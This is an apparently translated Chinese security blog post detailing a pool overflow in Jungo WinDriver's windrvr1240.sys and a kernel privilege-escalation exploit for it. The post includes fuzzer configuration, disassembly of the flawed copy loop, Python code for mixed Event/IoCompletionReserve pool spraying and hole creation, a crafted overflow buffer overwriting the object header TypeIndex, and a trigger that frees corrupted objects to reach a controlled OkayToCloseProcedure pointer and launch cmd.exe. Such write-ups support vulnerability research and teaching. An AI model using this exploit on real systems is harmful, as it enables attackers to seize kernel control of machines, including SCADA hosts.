Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】池中之鲨:Windows内核池混合对象利用

$
0
0
【技术分享】池中之鲨:windows内核池混合对象利用

2017-09-19 10:09:18

阅读:613次
点赞(0)
收藏
来源: srcincite.io





【技术分享】池中之鲨:Windows内核池混合对象利用

作者:eridanus96





【技术分享】池中之鲨:Windows内核池混合对象利用

译者:eridanus96

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】Windows内核池喷射

【技术分享】HEVD内核漏洞训练——陪Windows玩儿


前言

本文主要探讨一个基本的内核池溢出漏洞,并研究在通过混合内核对象进行内核池喷射后,如何通过覆盖TypeIndex来进行渗透的方法。

此前,我参加了AWE系列课程,在课程结束后,我很想找到一些可以利用的内核漏洞。尽管我可以使用HackSys Extreme Vulnerable Driver(HEVD)这个非常棒的学习工具,但我认为,在实际应用中发现并利用漏洞,会让我更有成就感。

于是,我开始学习如何开发一个Windows内核设备驱动程序的fuzzer,并使用我自己的fuzzer去发现漏洞,这个漏洞就是我借助自己的fuzzer发现的。希望我的漏洞发现和利用过程能对大家有所帮助。

漏洞分析

在测试了一些SCADA(数据采集与监视控制系统)产品后,我发现了一个叫做“WinDriver”的第三方组件,它其实是Jungo的DriverWizard WinDriver,该组件通常捆绑于几个SCADA应用程序之中,经常能在旧版本中发现它的踪迹。

在安装之后,它将一个名为windrvr1240.sys的设备驱动程序安装到Windows的驱动文件夹内。通过逆向,我找到了几个ioctl代码,可以直接插入到我fuzzer的配置文件中。

{ "ioctls_range":{ "start":"0x95380000", "end":"0x9538ffff" } }

然后,我通过使用verifier/volatile/flags 0x1/adddriver windrvr1240.sys,启用了一个特殊的池,并初步尝试运行了我的fuzzer。随后,成功发现了几个可以利用的漏洞,其中一个漏洞引起了我的注意:

kd>.trap0xffffffffc800f96c ErrCode=00000002 eax=e4e4e4e4ebx=8df44ba8ecx=8df45004edx=805d2141esi=f268d599edi=00000088 eip=9ffbc9e5esp=c800f9e0ebp=c800f9eciopl=0nvupeiplnznapecy cs=0008ss=0010ds=0023es=0023fs=0030gs=0000efl=00010207 windrvr1240+0x199e5: 9ffbc9e58941fcmovdwordptr[ecx-4],eaxds:0023:8df45000=???????? kd>ddesi+ecx-4 805d2599e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4 805d25a9e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4 805d25b9e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4 805d25c9e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4 805d25d9e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4 805d25e9e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4 805d25f9e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4 805d2609e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4 这是存储在[esi + ecx]中的用户控制数据,而它会对超出内核池的部分进行写入,通过进一步的研究发现,这其实是由loc_4199D8中的内联赋值操作而导致的池溢出。 .text:0041998Esub_41998Eprocnear;CODEXREF:sub_419B7C+3B2 .text:0041998E .text:0041998Earg_0=dwordptr8 .text:0041998Earg_4=dwordptr0Ch .text:0041998E .text:0041998Epushebp .text:0041998Fmovebp,esp .text:00419991pushebx .text:00419992movebx,[ebp+arg_4] .text:00419995pushesi .text:00419996pushedi .text:00419997push458h;fizedsize_t+0x8==0x460 .text:0041999Cxoredi,edi .text:0041999Epushedi;int .text:0041999Fpushebx;void* .text:004199A0callmemset;memsetourbufferbeforetheoverflow .text:004199A5movedx,[ebp+arg_0];thisistheSystemBuffer .text:004199A8addesp,0Ch .text:004199ABmoveax,[edx] .text:004199ADmov[ebx],eax .text:004199AFmoveax,[edx+4] .text:004199B2mov[ebx+4],eax .text:004199B5moveax,[edx+8] .text:004199B8mov[ebx+8],eax .text:004199BBmoveax,[edx+10h] .text:004199BEmov[ebx+10h],eax .text:004199C1moveax,[edx+14h] .text:004199C4mov[ebx+14h],eax .text:004199C7moveax,[edx+18h];readourcontrolledsizefromSystemBuffer .text:004199CAmov[ebx+18h],eax;storeitinthenewkernelbuffer .text:004199CDtesteax,eax .text:004199CFjzshortloc_4199ED .text:004199D1movesi,edx .text:004199D3leaecx,[ebx+1Ch];indexoffsetforthefirstwrite .text:004199D6subesi,ebx .text:004199D8 .text:004199D8loc_4199D8:;CODEXREF:sub_41998E+5D .text:004199D8moveax,[esi+ecx];loadthefirstwritevaluefromthebuffer .text:004199DBincedi;copyloopindex .text:004199DCmov[ecx],eax;firstdwordwrite .text:004199DEleaecx,[ecx+8];settheindexintoouroverflownbuffer .text:004199E1moveax,[esi+ecx-4];loadthesecondwritevaluefromthebuffer .text:004199E5mov[ecx-4],eax;seconddwordwrite .text:004199E8cmpedi,[ebx+18h];compareagainstourcontrolledsize .text:004199EBjbshortloc_4199D8;jumpbackintoloop

负责复制的循环,实际上会为每次循环(qword)复制8个字节,并溢出大小为0x460(0x458 + 0x8字节头)的缓冲区。复制的大小,直接是攻击者在输入缓冲区控制部分的大小。不存在整数溢出,也并没有将其存储在不易被找到的地方。我们可以看到,0x004199E8的大小,就是相应缓冲区中,从+0x18偏移量控制部分的大小。这样一来,利用就变得尤为简单。

漏洞利用

我们可以借助TypeIndex对象覆盖的方式来进行这一漏洞的利用,具体来说是使用内核对象,覆盖存储在_OBJECT_HEADER中的TypeIndex。更详细的内容,可以参考文末我引用的文章。

以往我们使用的一些常用对象都是Event对象(大小为0x40)和IoCompletionReserve对象(大小为0x60),常用的利用方式是像这样:

1. 用大小为X的对象造成池喷射,填满内存页;

2. 通过立即释放内存(free)或减少对象的引用计数(release,不会立即释放)相邻的对象,以触发coalescing,从而达到目标区块要求的大小(在本例中是0x460);

3. 分配和溢出缓冲区,这样有一定几率可以消除下一个对象的_OBJECT_HEADER,从而利用TypeIndex。

举例来说,如果溢出的缓冲区大小是0x200,就可以分配一组Event对象,并释放(free)其中的0x8(因为0x40 * 0x8 == 0x200),这样一来我们就可以在其中进行分配和溢出。所以,我们假设需要的内核对象,是池大小的n次幂。

但问题是,通过这种方式有时并不会有效,例如我们的池大小是0x460,如果我们这样的话:

>>>0x460%0x40 32 >>>0x460%0x60 64 >>>

结果表明,总会有剩余的一部分空间,也就是说我们不能使其产生一个特定大小的区块。后来,我发现有一种方法可以解决该问题,我们可以搜索具有目标缓冲区大小的n次幂的内核对象,并使用这些找到的对象。经过搜寻,我发现了另外两个内核对象:

#1 type="Job" size=0x168 windll.kernel32.CreateJobObjectW(None,None) #2 type="Timer" size=0xc8 windll.kernel32.CreateWaitableTimerW(None,0,None)

然而,这些大小也同样不能使用,因为它们没有满足要求。经过一段时间的测试,我意识到,可以采用这样的方式:

>>>0x460%0xa0 0 >>>

这样一来,0xa0就可以均匀地分成几个0x460,那么我们再将Event和IoCompletionReserve对象结合起来(0x40 + 0x60 = 0xa0),就能够实现!


喷射过程

defwe_can_spray(): """ SpraytheKernelPoolwithIoCompletionReserveandEventObjects. TheIoCompletionReserveobjectis0x60andEventobjectis0x40bytesinlength. TheseareallocatedfromtheNonpagedkernelpool. """ handles=[] IO_COMPLETION_OBJECT=1 foriinrange(0,25000): handles.append(windll.kernel32.CreateEventA(0,0,0,0)) hHandle=HANDLE(0) handles.append(ntdll.NtAllocateReserveObject(byref(hHandle),0x0,IO_COMPLETION_OBJECT)) #coulddowithsomebettervalidation iflen(handles)>0: returnTrue returnFalse

这个函数可以喷出50000个对象,其中包括25000个Event对象和25000个IoCompletionReserve对象。在WinDBG中,看起来非常炫酷:

kd>!pool85d1f000 Poolpage85d1f000regionisNonpagedpool *85d1f000size:60previoussize:0(Allocated)*IoCo(Protected) Owningcomponent:Unknown(updatepooltag.txt) 85d1f060size:60previoussize:60(Allocated)IoCo(Protected)<---chunkfirstallocatedinthepage 85d1f0c0size:40previoussize:60(Allocated)Even(Protected) 85d1f100size:60previoussize:40(Allocated)IoCo(Protected) 85d1f160size:40previoussize:60(Allocated)Even(Protected) ...... 85d1ff60size:60previoussize:40(Allocated)IoCo(Protected) 85d1ffc0size:40previoussize:60(Allocated)Even(Protected)

构建洞

“IoCo”标志代表IoCompletionReserve对象,“Even”标志代表Event对象。请注意,我们第一个区块的偏移量是0x60,这就是我们开始释放(free)的偏移量。如果我们释放一组IoCompletionReserve和Event对象,那么我们的计算结果便是:

>>>"0x%x"%(0x7*0xa0) '0x460' >>>

此时,会产生我们所希望的大小。让我们迅速来看看如果我们只释放接下来的7个IoCompletionReserve对象后会怎么样:

kd>!pool85d1f000 Poolpage85d1f000regionisNonpagedpool *85d1f000size:60previoussize:0(Allocated)*IoCo(Protected) Owningcomponent:Unknown(updatepooltag.txt) 85d1f060size:60previoussize:60(Free)IoCo 85d1f0c0size:40previoussize:60(Allocated)Even(Protected) 85d1f100size:60previoussize:40(Free)IoCo 85d1f160size:40previoussize:60(Allocated)Even(Protected) ...... 85d1f420size:60previoussize:40(Free)IoCo 85d1f480size:40previoussize:60(Allocated)Even(Protected) 85d1f4c0size:60previoussize:40(Allocated)IoCo(Protected) 85d1f520size:40previoussize:60(Allocated)Even(Protected) ...... 85d1ff60size:60previoussize:40(Allocated)IoCo(Protected) 85d1ffc0size:40previoussize:60(Allocated)Even(Protected)

可以看出,我们已经拥有很多已被释放的块,但它们是各自独立的。但是,我们仍需要把它们合并成一个0x460的区块。我们首先将区块的偏移量设置为0x60(第一个指向0xXXXXY060)。

bin=[] #objectsizes CreateEvent_size=0x40 IoCompletionReserve_size=0x60 combined_size=CreateEvent_size+IoCompletionReserve_size #afterthe0x20chunkhole,thefirstobjectwillbetheIoCompletionReserveobject offset=IoCompletionReserve_size foriinrange(offset,offset+(7*combined_size),combined_size): try: #chunksneedtobenexttoeachotherforthecoalescetotakeeffect bin.append(khandlesd[obj+i]) bin.append(khandlesd[obj+i-IoCompletionReserve_size]) exceptKeyError: pass #makesureit'scontiguouslyallocatedmemory iflen(tuple(bin))==14: holes.append(tuple(bin)) #maketheholestofill forholeinholes: forhandleinhole: kernel32.CloseHandle(handle)

在我们释放函数的同时,在池中打洞,并获得我们所期待的释放块。

kd>!pool8674e000 Poolpage8674e000regionisNonpagedpool *8674e000size:460previoussize:0(Free)*Io<--0x460chunkisfree PooltagIo:generalIOallocations,Binary:nt!io 8674e460size:60previoussize:460(Allocated)IoCo(Protected) 8674e4c0size:40previoussize:60(Allocated)Even(Protected) ...... 8674ef60size:40previoussize:60(Allocated)Even(Protected) 8674efa0size:60previoussize:40(Allocated)IoCo(Protected)

在此时,释放的区块已经合并,并且拥有一个完美的大小,接下来就可以进行分配和覆盖。


对已释放区块的分配和覆盖

defwe_can_trigger_the_pool_overflow(): """ Thistriggersthepooloverflowvulnerabilityusingabufferofsize0x460. """ GENERIC_READ=0x80000000 GENERIC_WRITE=0x40000000 OPEN_EXISTING=0x3 DEVICE_NAME="\\\\.\\WinDrvr1240" dwReturn=c_ulong() driver_handle=kernel32.CreateFileA(DEVICE_NAME,GENERIC_READ|GENERIC_WRITE,0,None,OPEN_EXISTING,0,None) inputbuffer=0x41414141 inputbuffer_size=0x5000 outputbuffer_size=0x5000 outputbuffer=0x20000000 alloc_pool_overflow_buffer(inputbuffer,inputbuffer_size) IoStatusBlock=c_ulong() ifdriver_handle: dev_ioctl=ntdll.ZwDeviceIoControlFile(driver_handle,None,None,None,byref(IoStatusBlock),0x953824b7, inputbuffer,inputbuffer_size,outputbuffer,outputbuffer_size) returnTrue returnFalse

实现溢出

大家可能注意到,在对缓冲区中偏移0x90的利用中,有一个空的dword。

defalloc_pool_overflow_buffer(base,input_size): """ Craftourspecialbuffertotriggertheoverflow. """ print"(+)allocatingpooloverflowinputbuffer" baseadd=c_int(base) size=c_int(input_size) input="\x41"*0x18#offsettosize input+=struct.pack("<I",0x0000008d)#controlledsize(thistriggerstheoverflow) input+="\x42"*(0x90-len(input))#paddingtosurvivebsod input+=struct.pack("<I",0x00000000)#useaNULLdwordforsub_4196CA input+="\x43"*((0x460-0x8)-len(input))#fillourpoolbuffer

该溢出需要始终存在,并且不能再被处理。下列的代码可以在复制循环后直接执行:

.text:004199EDloc_4199ED:;CODEXREF:sub_41998E+41 .text:004199EDpush9 .text:004199EFpopecx .text:004199F0leaeax,[ebx+90h];controlledfromthecopy .text:004199F6pusheax;void* .text:004199F7leaesi,[edx+6Ch];controlledoffset .text:004199FAleaeax,[edx+90h];controlledoffset .text:00419A00leaedi,[ebx+6Ch];controlledfromcopy .text:00419A03repmovsd .text:00419A05pusheax;int .text:00419A06callsub_4196CA;callsub_4196CA

值得注意的是,代码将会调用sub_4196CA。此外还要注意,@eax会成为我们的缓冲区+0x90(0x004199FA)。我们具体看一下这个函数调用:

.text:004196CAsub_4196CAprocnear;CODEXREF:sub_4195A6+1E .text:004196CA;sub_41998E+78... .text:004196CA .text:004196CAarg_0=dwordptr8 .text:004196CAarg_4=dwordptr0Ch .text:004196CA .text:004196CApushebp .text:004196CBmovebp,esp .text:004196CDpushebx .text:004196CEmovebx,[ebp+arg_4] .text:004196D1pushedi .text:004196D2push3C8h;size_t .text:004196D7push0;int .text:004196D9pushebx;void* .text:004196DAcallmemset .text:004196DFmovedi,[ebp+arg_0];controlledbuffer .text:004196E2xoredx,edx .text:004196E4addesp,0Ch .text:004196E7mov[ebp+arg_4],edx .text:004196EAmoveax,[edi];makesure@eaxisnull .text:004196ECmov[ebx],eax;thewritehereisfine .text:004196EEtesteax,eax .text:004196F0jzloc_4197CB;takethejump

该代码,会从我们在+0x90的SystemBuffer中得到一个dword值,并将其写入溢出的缓冲区之中,并检查其是否为空。如果为空,我们就不在这个函数中对其继续做处理,并且返回。

.text:004197CBloc_4197CB:;CODEXREF:sub_4196CA+26 .text:004197CBpopedi .text:004197CCpopebx .text:004197CDpopebp .text:004197CEretn8

如果不这么做,在试图访问缓冲区中不存在的指针时,很有可能会出现蓝屏。

至此,我们就可以毫无顾虑地触发eop了。关于Shellcode清理,我们溢出的缓冲区存储在@esi中,所以我们可以计算TypeIndex的偏移量,并对其进行修补。最后,建议将ObjectCreateInfo改为空,因为系统会避免使用这个指针。


打造我们的缓冲区

考虑到在每一次循环时,都会复制0x8字节,并且起始索引是0x1c:

.text:004199D3leaecx,[ebx+1Ch];indexoffsetforthefirstwrite

假设我们希望得到44字节(0x2c)的缓冲区溢出,我们用缓冲区的大小,减去头部,减去起始索引偏移量,加上想要溢出的字节数,最后将其除以0x8(这是因为每次循环都复制0x8字节)。

(0x460–0x8–0x1c+0x2c)/0x8=0x8d

也就是说,0x8d的大小会使缓冲区溢出0x2c(即44字节),并能损坏池的头部、引用和对象头。

#repairtheallocatedchunkheader... input+=struct.pack("<I",0x040c008c)#_POOL_HEADER input+=struct.pack("<I",0xef436f49)#_POOL_HEADER(PoolTag) input+=struct.pack("<I",0x00000000)#_OBJECT_HEADER_QUOTA_INFO input+=struct.pack("<I",0x0000005c)#_OBJECT_HEADER_QUOTA_INFO input+=struct.pack("<I",0x00000000)#_OBJECT_HEADER_QUOTA_INFO input+=struct.pack("<I",0x00000000)#_OBJECT_HEADER_QUOTA_INFO input+=struct.pack("<I",0x00000001)#_OBJECT_HEADER(PointerCount) input+=struct.pack("<I",0x00000001)#_OBJECT_HEADER(HandleCount) input+=struct.pack("<I",0x00000000)#_OBJECT_HEADER(Lock) input+=struct.pack("<I",0x00080000)#_OBJECT_HEADER(TypeIndex) input+=struct.pack("<I",0x00000000)#_OBJECT_HEADER(ObjectCreateInfo)

当我们将到0x00080000(实际上是较小的一个值)的TypeIndex为null。这意味着,函数表会指向0x0,并且我们可以映射空页。

kd>ddnt!ObTypeIndexTableL2 82b7dee000000000bad0b0b0

请注意,这里的第二个索引是0xbad0b0b0。这样的方法同样可以用于x64系统。


触发内核中的代码执行

在触发了溢出后,它存活了下来。但为了获得eop,我们需要设置一个指向0x00000074的指针,以利用OkayToCloseProcedure函数指针。

kd>dtnt!_OBJECT_TYPEname84fc8040 +0x008Name:_UNICODE_STRING"IoCompletionReserve" kd>dtnt!_OBJECT_TYPE84fc8040. +0x000TypeList:[0x84fc8040-0x84fc8040] +0x000Flink:0x84fc8040_LIST_ENTRY[0x84fc8040-0x84fc8040] +0x004Blink:0x84fc8040_LIST_ENTRY[0x84fc8040-0x84fc8040] +0x008Name:"IoCompletionReserve" +0x000Length:0x26 +0x002MaximumLength:0x28 +0x004Buffer:0x88c01090"IoCompletionReserve" +0x010DefaultObject: +0x014Index:0x0''<---TypeIndexis0x0 +0x018TotalNumberOfObjects:0x61a9 +0x01cTotalNumberOfHandles:0x61a9 +0x020HighWaterNumberOfObjects:0x61a9 +0x024HighWaterNumberOfHandles:0x61a9 +0x028TypeInfo:<--TypeInfoisoffset0x28from0x0 +0x000Length:0x50 +0x002ObjectTypeFlags:0x2'' +0x002CaseInsensitive:0y0 +0x002UnnamedObjectsOnly:0y1 +0x002UseDefaultObject:0y0 +0x002SecurityRequired:0y0 +0x002MaintainHandleCount:0y0 +0x002MaintainTypeList:0y0 +0x002SupportsObjectCallbacks:0y0 +0x002CacheAligned:0y0 +0x004ObjectTypeCode:0 +0x008InvalidAttributes:0xb0 +0x00cGenericMapping:_GENERIC_MAPPING +0x01cValidAccessMask:0xf0003 +0x020RetainAccess:0 +0x024PoolType:0(NonPagedPool) +0x028DefaultPagedPoolCharge:0 +0x02cDefaultNonPagedPoolCharge:0x5c +0x030DumpProcedure:(null) +0x034OpenProcedure:(null) +0x038CloseProcedure:(null) +0x03cDeleteProcedure:(null) +0x040ParseProcedure:(null) +0x044SecurityProcedure:0x82cb02aclongnt!SeDefaultObjectMethod+0 +0x048QueryNameProcedure:(null) +0x04cOkayToCloseProcedure:(null)<---OkayToCloseProcedureisoffset0x4cfrom0x0 +0x078TypeLock: +0x000Locked:0y0 +0x000Waiting:0y0 +0x000Waking:0y0 +0x000MultipleShared:0y0 +0x000Shared:0y0000000000000000000000000000(0) +0x000Value:0 +0x000Ptr:(null) +0x07cKey:0x6f436f49 +0x080CallbackList:[0x84fc80c0-0x84fc80c0] +0x000Flink:0x84fc80c0_LIST_ENTRY[0x84fc80c0-0x84fc80c0] +0x004Blink:0x84fc80c0_LIST_ENTRY[0x84fc80c0-0x84fc80c0]

这样,0x28 + 0x4c = 0x74便是我们的指针需要指向的位置。但是OkayToCloseProcedure是如何调用的呢?经过研究发现,这是一个注册的aexit handler。所以,为了触发代码的执行,我们只需要释放损坏的IoCompletionReserve。我们并不清楚句柄是与哪一个溢出块相关联,所以我们干脆全部释放它们。

deftrigger_lpe(): """ ThisfunctionfreestheIoCompletionReserveobjectsandthistriggersthe registeredaexit,whichisourcontrolledpointertoOkayToCloseProcedure. """ #freethecorruptedchunktotriggerOkayToCloseProcedure fork,vinkhandlesd.iteritems(): kernel32.CloseHandle(v) os.system("cmd.exe")

最后,我们最终成功实现,如图所示:


【技术分享】池中之鲨:Windows内核池混合对象利用

参考文章

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

http://www.fuzzysecurity.com/tutorials/expDev/20.html

https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-Slides.pdf

https://msdn.microsoft.com/en-us/library/windows/desktop/ms724485(v=vs.85).aspx

https://www.exploit-db.com/exploits/34272



【技术分享】池中之鲨:Windows内核池混合对象利用
【技术分享】池中之鲨:Windows内核池混合对象利用
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images